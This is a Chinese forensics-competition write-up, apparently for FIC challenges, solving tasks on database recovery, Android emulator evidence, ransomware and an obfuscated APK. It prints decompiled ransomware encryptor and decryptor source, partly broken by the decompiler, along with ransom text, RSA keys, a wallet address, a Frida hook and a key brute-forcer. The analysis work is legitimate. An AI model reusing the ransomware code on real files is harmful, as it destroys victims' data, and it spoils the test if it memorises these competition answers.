image-20250401195510004

使用navicat连接数据库,发现登录记录:

image-20250401225327638

28.还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

数据库恢复完成后(否则后台验证码难以加载)重构网站(检材一),在后台进行分析:

image-20250402132706461

image-20250402132728803

另一思路:继续分析数据库可找到:

image-20250402133815893

29.还原全部被删改数据,共有多少名用户的会员等级为’LV3’

首先在表中筛选grade=3的记录共158条

image-20250402134010703

分析日志中被删除的那28条用户中是否存在grade=3的用户

根据之前日志分析中,被删除的用户id为973~1000,因此数据库增加数据搜索关键词VALUES (973

image-20250402134619199

注意看倒数第四的数据为3的记录,再次搜索关键词:0, 3, 0, 0

image-20250402134738661

30.还原全部被删改数据,哪些用户ID没有充值记录(使用 , 隔开)

根据之前的分析,用户钱包中的可用余额与member_walletbalance列对应,因此balance值为0的用户没有充值记录:

image-20250402135939591

另一思路:导出所有用户id(并加入删除的用户),在交易明细member_transaction中导出member_id列,进行去重后对比

image-20250402140013769

image-20250402140220857

image-20250402140705821

剖析后导出,同样导出所有用户ID,进行去重可得到:

image-20250402140934278

31.还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?(答案填写阿拉伯数字,如“15”)

image-20250402141211971

32.还原全部被删改数据,该网站中充值的USDT总额为(答案填写阿拉伯数字,如“15”)

交易记录中都是USDT的充值记录,进行SQL语句查询:

SELECT SUM(amount) FROM member_transaction WHERE symbol = 'USDT' AND type = 0;

image-20250402141824946

33.嫌疑人使用的安卓模拟器软件名称是

分析检材四,是一个.npbk文件:

image-20250402142623232

34.检材4中,“老板”的阿里云账号是

得到npkb文件后,有两种处理方法

方法1:对安卓模拟器文件的取证,我们无需专门去安装对应的模拟器,可以直接用解压软件解压获得镜像文件

方法2:使用夜神模拟器的导入功能将npbk文件导入,得到一个新的模拟器,证实使用的是夜神模拟器

方法1,用手机大师进行取证,在微信聊天记录中找到:

image-20250402153114467

聊天记录是还原案情的关键:

image-20250402153756075

image-20250402153934384

35.检材4中安装的VPN工具的软件名称是

方法二:

image-20250402170610456

36.检材4中安装的VPN工具的软件名称是

image-20250402170508459

37.检材4中,录屏软件安装时间为

软件名为录屏,搜索安装包:

image-20250402171243922

38.上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

由于是使用软件生成的录像文件,就去找这个应用对应的外部存储中的文件数据路径,这里的外部存储,也就是模拟器中 Amaze 文件结构中的主目录/storage/emulated/0/Android/data/com.jiadi.luping/files

Movies 文件夹下,长按选择【重命名】,就可以得到完整的文件名:

image-20250402171957319

39.上述录屏软件登录的手机号是

image-20250402172507776

进行注销即可查看:

image-20250402172719108

image-20250402172726142

40.检材4中,发送勒索邮件的邮箱地址为

image-20250402173106085

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

41.分析加密程序,编译该加密程序使用的语言是

被加密的文档在分析检材二时出现过:

image-20250402181047219

导出看图标就能看出是python语言编译的:

image-20250402181143582

另一方法:使用Detect It Easy查看exe发现程序是pyinstaller生成的可执行文件,于是得出编译该加密程序使用的语言是python

image-20250402181710776

另另一方法:用ida反编译加密程序,查看字符串发现了很多py后缀,确定使用的语言就是python

image-20250402181933672

另另另一方法:将恶意程序提交到微步云沙箱,自动分析后得出其引擎为python

image-20250402183032382

42.分析加密程序,它会加密哪些扩展名的文件?

jpg
png
zip
mp4
rar
7z
xls
docx
txt
mp3

对加密程序进行反编译(exe转pyc转py):

# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ncrypt_file.exe_extracted/encrypt_file_1.pyc (Python 3.6)

import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"

class XORCBC:
    
    def __init__(self = None, key = None):
        self.key = bytearray(key)
        self.cur = 0

    
    def encrypt(self = None, data = None):
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)
        
        return bytes(data)


print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[-1]
                if not '.txt' == ExtensionPath and '.jpg' == ExtensionPath and '.xls' == ExtensionPath:
                    if '.docx' == ExtensionPath:
                        time.sleep(3)
                        data_file = os.path.join(filepath, filename)
                        rsakey = RSA.import_key(pubkey)
                        cipher = Cipher_pkcs1_v1_5.new(rsakey)
                        xor_key = os.urandom(16)
                        xor_obj = XORCBC(xor_key)
                        outf = open(data_file + '_encrypted', 'wb')
                        encrypted_xor_key = cipher.encrypt(xor_key)
                        outf.write(encrypted_xor_key)
                        buffer_size = 4096
                        with open(data_file, 'rb') as f:
                            while None:
                                data = f.read(buffer_size)
                                if not data:
                                    break
                        outf.close()
                        os.remove(data_file)
                return None

run_finall()

def redme():
    
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as ff:
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as ff:
            ff.write(msg)
    


print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')

Warning: block stack is not empty!

image-20250402184106924

43.分析加密程序,是通过什么算法对文件进行加密的?

由上题分析可知,是通过XOR异或算法对文件进行加密的

44.分析加密程序,其使用的非对称加密方式公钥后5位为?

同理,源码中存在公钥

45.被加密文档中,FLAG1的值是

运行解密程序,发现需要密码:

image-20250402184621704

反编译exe,得到:

# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ecrypt_file.exe_extracted/decrypt_file_1.pyc (Python 3.6)

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD\nwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z\nlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2\nfUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10\nSmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK\nX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY\nU3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU\ndQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK\nV/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2\nDhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz\nji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U\nWrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG\nqM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3\n068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC\nmhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z\nZc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp\nTV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt\n9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T\nO0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO\nvMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+\nnScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc\n7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD\nATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa\nGtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3\naGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=\n-----END RSA PRIVATE KEY-----\n'

class XORCBC:
    
    def __init__(self = None, key = None):
        self.key = bytearray(key)
        self.cur = 0

    
    def decrypt(self = None, data = None):
        data = bytearray(data)
        for i in range(len(data)):
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = data[i]
            self.cur = (self.cur + 1) % len(self.key)
        
        return bytes(data)



def run_decrypt():
    print('解密程序 V1.0\n')
    present = input('请输入密码:')
    if present == '4008003721':
        for filepath, dirnames, filenames in os.walk(os.getcwd()):
            for filename in filenames:
                if '_encrypted' in filename:
                    print(os.path.join(filepath, filename) + '-解密成功')
                    data_file = os.path.join(filepath, filename)
                    data_handle = open(data_file, 'rb')
                    rsakey = RSA.import_key(prikey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = cipher.decrypt(data_handle.read(256), '')
                    xor_obj = XORCBC(xor_key)
                    outname = data_file.replace('_encrypted', '')
                    outf = open(outname, 'wb')
                    buffer_size = 4096
                    while None:
                        data = data_handle.read(buffer_size)
                        if not data:
                            break
                    outf.close()
        
        print('\n恭喜您,解密成功~~~~~~~~~~~~~~~')
        os.system('pause')
    else:
        print('\n密码错误~~~~~~~~~~~~~~~')
        run_decrypt()

run_decrypt()

密码就在源码中,直接解密得到flag:

image-20250402184855831

46.恶意APK程序的包名为

网站前台APK下载地址被技术员修改成恶意APK了,在链接下载APK后对其进行分析:

image-20250402201921496

47.APK调用的权限包括

读取SD卡内容
使用相机
修改系统设置
修改删除SD卡内容
安装APK

image-20250402202424508

<uses-permission android:name="android.permission.FOREGROUND_SERVICE" ></uses-permission>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" ></uses-permission>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" ></uses-permission>
权限 作用 风险
android.permission.FOREGROUND_SERVICE 允许应用在前台运行服务 可能会持续运行,提高功耗,滥用可能导致隐私泄露
android.permission.SYSTEM_ALERT_WINDOW 允许创建悬浮窗 可能用于恶意覆盖界面,实施钓鱼攻击或欺骗用户
android.permission.WRITE_EXTERNAL_STORAGE 读写外部存储 可能会窃取或篡改用户文件
ndroid.permission.READ_EXTERNAL_STORAGE 读取外部存储 可能访问用户文件

最近探索到了天穹动态分析沙箱:

image-20250402204116346

48.解锁第一关所使用的FLAG2值为

image-20250402205221693

需要脱壳,卡这了,不会。

img

我也想要一键脱壳。

以下内容来自WP:

img

定位过去,大致看下逻辑,结合交互信息对应的条件可以确定是第几关。

img

其中OnClick函数这里有个明显的字符串对比,trim2是我们的输入,从而可以确定答案

img

49. 解锁第二关所使用的FLAG3值为

接上题,注意到第二关这里

img

App.OooO0O0.OooO0oo查看用例,发现在这里被初始化。

img

分析OooO0O0.OooO0O0,能发现这个函数是把十六进制串转为byte数组。

img

decrypt是native函数,从libcipher.so中加载。

img

img

方法一:通过frida直接hookApp.OooO0O0.OooO0oo的值,模拟器先把frida-server开起来(注意不要给ZTuoExchange root权限),跑脚本frida -U -l hook.js "ZTuoExchange"

setImmediate(function () {
    Java.perform(function () {
        var app = Java.use("cn.forensix.cab.App"); // 指定类
        var OooO0oo = app.class.getField("OooO0oo"); // 指定属性
        var OooO0O0 = app.class.getField("OooO0O0").get(null); // 获取已实例化的对
象
        console.log(OooO0oo.get(OooO0O0));
    });
})

方法二:建立Android项目,把需要的文件和函数都放进来,直接调用decryptOooO0O0.OooO0O0获取this.OooO0oo的值。

img

参考:https://note.youdao.com/ynoteshare/mobile.html?id=78afde521af47956731c8185624110ec&type=note&_time=1667732405820#/

50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

注意到这里

img

查看其声明

img

要求字符串长度为24。4个一组,通过移位将4个数构成一个大数,分成6组操作。其中try块里会触发unused异常(强制转换为Integer那里),真正的验证逻辑在catch块中。查看声明,确定OooO函数和OooO0oO数组。

img

img

可以每4个进行爆破,每个都是可见字符

img

class Main {

    private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};

    public static void main(String[] args) {
        for (int n=0; n<6; n++) {
            boolean flag = false;
            for (int i = 0x20; i < 0x7f; i++) {
                for (int j = 0x20; j < 0x7f; j++) {
                    for (int k = 0x20; k < 0x7f; k++) {
                        for (int l = 0x20; l < 0x7f; l++) {
                            long tmp = (long) (i << 16);
                            tmp |= (long) (j << '\b');
                            tmp |= (long) (k << 24);
                            tmp |= (long) l;

                            if (((OooO(tmp, 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L == ((long) OooO0oO[n])) {
                                System.out.print((char) i);
                                System.out.print((char) j);
                                System.out.print((char) k);
                                System.out.print((char) l);
                                flag = true;
                                break;
                            }
                        }
                        if (flag)
                            break;
                    }
                    if (flag)
                        break;
                }
                if (flag)
                    break;
            }
        }
     }

    public boolean OooO0O0(String str) {
        if (str.length() != 24) {
            return false;
        }
        long[] jArr = new long[6];
        for (int i = 0; i < str.length() / 4; i++) {
         int i2 = i * 4;
         jArr[i] = (long) (str.charAt(i2) << 16);
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << '\b'));
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
         jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];
//         PrintStream printStream = System.out;
//         printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
         }
        try {
            int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
            Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
            for (int i3 = 0; i3 < 6; i3++) {
                if (((long) iArr[i3]) - jArr[i3] != ((long) ((Integer) objArr[i3]).intValue())) {
                    return false;
                }
            }
            return true;
        } catch (Exception unused) {
             for (int i4 = 0; i4 < 6; i4++) {
                 if (((OooO(jArr[i4], 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L != ((long) this.OooO0oO[i4])) {
                     return false;
                 }
             }
            return true;
        }
    }

     private static long[] OooO(long j, long j2) {
         if (j == 0) {
             return new long[]{0, 1};
         }
         long[] OooO = OooO(j2 % j, j);
         return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
     }
 }

2024FIC线上赛

2024年4月,卢某报案至警方,声称自己疑似遭受了“杀猪盘”诈骗,大量钱财被骗走。卢某透露,在与某公司交流过程中结识了员工李某。李某私下诱导卢某参与赌博游戏,起初资金出入均属正常。但随后,李某称赌博平台为提升安全性,更换了地址和玩法,转为通过群聊抢红包形式进行赌博。随着赌资不断增加,卢某投入巨额资金后,发现无法再访问该网站,同时李某也失去联系,卢某遂意识到自己被骗。
在经济压力下,卢某选择报警,并承认参与赌博活动,愿意承担相应法律后果。警方依据卢某提供的线索和手机数据,迅速锁定犯罪团伙,并在一藏匿地点成功抓获犯罪嫌疑人李某和赵某。警方对嫌疑人持有的物品进行了证据固定:李某手机被标记为检材1,窝点内服务器为检材2,赵某使用的计算机为检材3。
接下来,请取证工作者根据案情和这些检材进行深入分析,并解答后续问题。

手机部分

1.嫌疑人李某的手机型号是?

 A. Xiaomi MI 2s
 B. Xiaomi MI 4
 C. Xiaomi MI 6
 D. Xiaomi MI 8

源文件地址:

misc/location/xtra/useragent.txt

image-20250423134546928

2.嫌疑人李某是否可能有平板电脑设备,如有该设备型号是?

 A. iPad Pro 11
 B. Vivo Pad 2
 C. MatePad Pro
 D. Xiaomi Pad 6s

火眼取证中得到的WI-FI连接记录中有:

image-20250423135129574

WIFI连接记录源文件地址:

misc/wifi/WifiConfigStore.xml

image-20250423135243658

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<WifiConfigStoreData>
	<int name="Version" value="1" />
	<NetworkList>
		<Network>
			<WifiConfiguration>
				<string name="ConfigKey">&quot;Xiaomi Pad 6S Pro 12.4&quot;WPA_PSK</string>
				<string name="SSID">&quot;Xiaomi Pad 6S Pro 12.4&quot;</string>
				<null name="BSSID" />
				<string name="PreSharedKey">&quot;12345678&quot;</string>
				<null name="WEPKeys" />
				<int name="WEPTxKeyIndex" value="0" />
				<boolean name="HiddenSSID" value="false" />
				<boolean name="RequirePMF" value="false" />
				<byte-array name="AllowedKeyMgmt" num="1">02</byte-array>
				<byte-array name="AllowedProtocols" num="1">03</byte-array>
				<byte-array name="AllowedAuthAlgos" num="1">01</byte-array>
				<byte-array name="AllowedGroupCiphers" num="1">0f</byte-array>
				<byte-array name="AllowedPairwiseCiphers" num="1">06</byte-array>
				<boolean name="Shared" value="true" />
				<int name="Status" value="2" />
				<null name="FQDN" />
				<null name="ProviderFriendlyName" />
				<null name="LinkedNetworksList" />
				<null name="DefaultGwMacAddress" />
				<boolean name="ValidatedInternetAccess" value="true" />
				<boolean name="NoInternetAccessExpected" value="false" />
				<int name="UserApproved" value="0" />
				<boolean name="MeteredHint" value="false" />
				<int name="MeteredOverride" value="0" />
				<boolean name="UseExternalScores" value="false" />
				<int name="NumAssociation" value="3" />
				<int name="CreatorUid" value="1000" />
				<string name="CreatorName">android.uid.system:1000</string>
				<string name="CreationTime">time=03-14 16:55:57.249</string>
				<int name="LastUpdateUid" value="1000" />
				<string name="LastUpdateName">android.uid.system:1000</string>
				<int name="LastConnectUid" value="10014" />
				<boolean name="IsLegacyPasspointConfig" value="false" />
				<long-array name="RoamingConsortiumOIs" num="0" />
				<string name="RandomizedMacAddress">02:00:00:00:00:00</string>
			</WifiConfiguration>
			<NetworkStatus>
				<string name="SelectionStatus">NETWORK_SELECTION_ENABLED</string>
				<string name="DisableReason">NETWORK_SELECTION_ENABLE</string>
				<null name="ConnectChoice" />
				<long name="ConnectChoiceTimeStamp" value="-1" />
				<boolean name="HasEverConnected" value="true" />
			</NetworkStatus>
			<IpConfiguration>
				<string name="IpAssignment">DHCP</string>
				<string name="ProxySettings">NONE</string>
			</IpConfiguration>
		</Network>
	</NetworkList>
	<PasspointConfigData>
		<long name="ProviderIndex" value="0" />
	</PasspointConfigData>
</WifiConfigStoreData>
字段名 类型 内容 用途解释
Version int 1 配置文件版本号,当前是第1版
ConfigKey string "Xiaomi Pad 6S Pro 12.4"WPA_PSK 网络配置唯一键,由SSID和加密方式拼接
SSID string "Xiaomi Pad 6S Pro 12.4" WiFi网络名称(即SSID)
BSSID null 连接过的AP设备MAC地址,当前为空(未指定)
PreSharedKey string "12345678" WiFi密码(PSK)
WEPKeys null WEP加密密钥,当前未使用WEP
WEPTxKeyIndex int 0 WEP加密使用的密钥索引,默认0
HiddenSSID boolean false 该WiFi是否隐藏SSID(false表示公开广播)
RequirePMF boolean false 是否要求PMF(Protected Management Frames,增强安全性)
AllowedKeyMgmt byte-array 02 允许的密钥管理方式(02通常是WPA-PSK)
AllowedProtocols byte-array 03 支持的协议(03一般代表RSN和WPA)
AllowedAuthAlgos byte-array 01 允许的认证算法(01通常表示OPEN)
AllowedGroupCiphers byte-array 0f 支持的组密码(0f代表多种,比如TKIP, CCMP)
AllowedPairwiseCiphers byte-array 06 支持的点对点加密方式(06一般是CCMP和TKIP)
Shared boolean true 该配置是否允许共享给其他用户
Status int 2 网络状态(2通常是CURRENT,已连接)
FQDN null 完全限定域名(用于Passpoint Wi-Fi),为空表示普通WiFi
ProviderFriendlyName null Passpoint提供商友好名称,当前为空
LinkedNetworksList null 关联网络列表,当前无关联
DefaultGwMacAddress null 默认网关MAC地址
ValidatedInternetAccess boolean true 已验证该WiFi有互联网访问
NoInternetAccessExpected boolean false 不期望该网络没有互联网访问
UserApproved int 0 用户批准状态(0表示未特别批准)
MeteredHint boolean false 是否提示该网络是计量网络(false即不限流)
MeteredOverride int 0 用户手动设置的计量覆盖状态(0代表自动判断)
UseExternalScores boolean false 是否使用外部评分机制评估网络质量
NumAssociation int 3 连接过该WiFi的次数
CreatorUid int 1000 创建该配置的系统UID(1000是系统进程)
CreatorName string android.uid.system:1000 创建者名称
CreationTime string time=03-14 16:55:57.249 配置创建的时间戳
LastUpdateUid int 1000 最后一次更新配置的用户UID
LastUpdateName string android.uid.system:1000 最后一次更新配置的用户名
LastConnectUid int 10014 最后一次连接该WiFi的应用或用户的UID
IsLegacyPasspointConfig boolean false 是否是旧版Passpoint配置(false表示普通WiFi)
RoamingConsortiumOIs long-array 空数组 漫游联盟组织ID(一般用于Passpoint,当前没有)
RandomizedMacAddress string 02:00:00:00:00:00 随机化的MAC地址(防跟踪,默认无效)
SelectionStatus string NETWORK_SELECTION_ENABLED 网络选择状态(已启用,可以自动连接)
DisableReason string NETWORK_SELECTION_ENABLE 当前网络启用原因
ConnectChoice null 指定连接首选项(无)
ConnectChoiceTimeStamp long -1 首选连接时间戳(-1表示无)
HasEverConnected boolean true 是否曾经成功连接过该WiFi
IpAssignment string DHCP IP分配方式(DHCP自动获取)
ProxySettings string NONE 代理设置(无代理)
ProviderIndex long 0 Passpoint配置索引(0表示无)

关注字段<WifiConfiguration>(Wi-Fi基本配置)

3.嫌疑人李某手机开启热点设置的密码是?

image-20250423162159835

手机开启热点设置源文件地址:

misc/wifi/softap.conf

image-20250423162314872

4.嫌疑人李某的微信内部ID是?

image-20250423162402353

微信内部ID源文件地址:

data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml

image-20250423162512911

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
	<long name="sql_trace_child_thread_interval_time" value="1000" />
	<boolean name="Main_ShortCut" value="true" />
	<long name="sql_trace_file_full_size" value="30720" />
	<boolean name="hasInitVoiceControlData" value="false" />
	<long name="sql_trace_child_transaction_interval_time" value="5000" />
	<int name="com.tencent.mm.gallery.cache.suffix" value="0" />
	<long name="handler_log_file_max_size" value="35840" />
	<long name="handler_debug_log_time" value="15000" />
	<long name="sql_trace_log_file_max_size" value="35840" />
	<boolean name="Main_need_read_top_margin" value="false" />
	<boolean name="isLogin" value="true" />
	<boolean name="screenResolution_isModifyDensity" value="false" />
	<int name="last_reportdevice_channel" value="0" />
	<string name="reg_last_exit_ui">L200_100</string>
	<long name="handler_trace_file_full_size" value="30720" />
	<boolean name="room_placed_to_the_top" value="false" />
	<long name="MMTempKeyStepLogger-Last-Clean-Time" value="1710796506617" />
	<boolean name="hasTryToInitVoiceControlData" value="true" />
	<string name="login_weixin_username">wxid_wnigmud8aj6j12</string>
	<int name="last_reportdevice_clientversion" value="671099444" />
	<int name="com.tencent.mm.plugin.gallery.cache.cache-file-num" value="5" />
	<string name="last_avatar_path">/data/user/0/com.tencent.mm/MicroMsg/last_avatar_dir/user_8ef509bc8096a195ef7e1f9ee4610c88.png</string>
	<string name="last_login_use_voice">32768</string>
	<int name="com.tencent.mm.plugin.gallery.cache.cache-up-to-date" value="1" />
	<string name="login_user_name">16601931006</string>
	<long name="trace_config_last_update_time" value="1710489503467" />
	<string name="last_login_bind_mobile">16601931006</string>
	<string name="last_login_uin">2969892847</string>
	<long name="handler_upload_time_interval" value="86400000" />
	<int name="Main_top_marign" value="72" />
	<long name="handler_debug_log_time_main" value="1500" />
	<int name="heavy_user_session_cnt" value="8" />
	<long name="sql_trace_main_thread_interval_time" value="500" />
	<boolean name="room_notify_new_msg" value="false" />
	<string name="last_login_nick_name">бб</string>
	<string name="last_bind_info">4</string>
	<long name="sql_upload_time_interval" value="10800000" />
	<boolean name="force_notify" value="false" />
	<int name="com.tencent.mm.compatible.util.keybord.height" value="747" />
	<long name="sql_trace_main_thread_select_interval_time" value="300" />
	<long name="sql_trace_main_thread_update_interval_time" value="500" />
</map>
字段名 类型 内容 用途解释
sql_trace_child_thread_interval_time long 1000 子线程SQL追踪记录间隔时间,单位毫秒
Main_ShortCut boolean true 是否在桌面创建主界面快捷方式
sql_trace_file_full_size long 30720 SQL追踪日志文件达到该大小(KB)后轮转
hasInitVoiceControlData boolean false 是否已初始化语音控制数据
sql_trace_child_transaction_interval_time long 5000 子线程SQL事务追踪记录间隔时间,单位毫秒
com.tencent.mm.gallery.cache.suffix int 0 微信图库缓存文件后缀标识(通常为缓存控制)
handler_log_file_max_size long 35840 Handler日志文件最大大小(KB)
handler_debug_log_time long 15000 调试日志输出的间隔时间,单位毫秒
sql_trace_log_file_max_size long 35840 SQL追踪日志文件最大限制(KB)
Main_need_read_top_margin boolean false 主界面是否需要读取顶部边距
isLogin boolean true 是否已经登录微信账号
screenResolution_isModifyDensity boolean false 是否修改了屏幕密度(用于分辨率适配)
last_reportdevice_channel int 0 上一次设备上报时的渠道标识
reg_last_exit_ui string L200_100 注册流程最后退出的界面代号
handler_trace_file_full_size long 30720 Handler追踪日志文件最大大小(KB)
room_placed_to_the_top boolean false 聊天室是否置顶(用于群聊)
MMTempKeyStepLogger-Last-Clean-Time long 1710796506617 临时日志清理的最后时间戳
hasTryToInitVoiceControlData boolean true 是否尝试初始化语音控制数据
login_weixin_username string wxid_wnigmud8aj6j12 微信内部用户ID(wxid开头的)
last_reportdevice_clientversion int 671099444 上一次设备信息上报时的微信客户端版本号
com.tencent.mm.plugin.gallery.cache.cache-file-num int 5 图库缓存文件的数量限制
last_avatar_path string /data/.../user_xxxx.png 最近登录用户的头像文件路径
last_login_use_voice string 32768 最近登录时是否使用了语音(一般为标识位)
com.tencent.mm.plugin.gallery.cache.cache-up-to-date int 1 图库缓存是否是最新的标志
login_user_name string 16601931006 最近登录用的微信账号(手机号)
trace_config_last_update_time long 1710489503467 最后一次追踪配置更新时间戳
last_login_bind_mobile string 16601931006 最近绑定的手机号
last_login_uin string 2969892847 最近登录用户的微信UIN(内部账号ID)
handler_upload_time_interval long 86400000 Handler日志上传时间间隔(单位:毫秒,86400000ms=一天)
Main_top_marign int 72 主界面顶部边距高度(像素)
handler_debug_log_time_main long 1500 主线程Handler调试日志时间间隔
heavy_user_session_cnt int 8 大量使用者的会话次数(用于优化策略)
sql_trace_main_thread_interval_time long 500 主线程SQL追踪记录间隔,单位毫秒
room_notify_new_msg boolean false 群聊是否新消息提醒
last_login_nick_name string бб 最近登录微信昵称(这里是俄文字母)
last_bind_info string 4 最后绑定信息(可能与绑定手机号或邮箱有关)
sql_upload_time_interval long 10800000 SQL日志上传时间间隔(单位毫秒,约3小时)
force_notify boolean false 是否强制推送通知
com.tencent.mm.compatible.util.keybord.height int 747 软键盘高度(像素)
sql_trace_main_thread_select_interval_time long 300 主线程SQL select操作追踪时间间隔
sql_trace_main_thread_update_interval_time long 500 主线程SQL update操作追踪时间间隔

关注字段login_weixin_username

5.嫌疑人李某发送给技术人员的网站源码下载地址是什么?

image-20250423183849532

扫码解密即可(新佛曰没了)

640

微信聊天记录解密(参考文章:导出微信的聊天记录并解密EnMicroMsg.db – Yaodo Blog

微信聊天历史记录源文件:

data/com.tencent.mm/MicroMsg/a4acf80ba7af680ea2f4be21d60063d8/EnMicroMsg.db

微信聊天历史记录解密文件:

data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml

6.受害者微信用户ID是?

很快找出受害者

image-20250423190303981

7.嫌疑人李某第一次连接WIFI的时间是?

 A. 03-14 15:55:57
 B. 03-14 16:55:57
 C. 03-14 17:55:57
 D. 03-14 18:55:57

从题目2中源文件的分析中得出第一次连接WIFI的时间

重点关注关键词CreationTime(WIFI配置创建的时间戳)

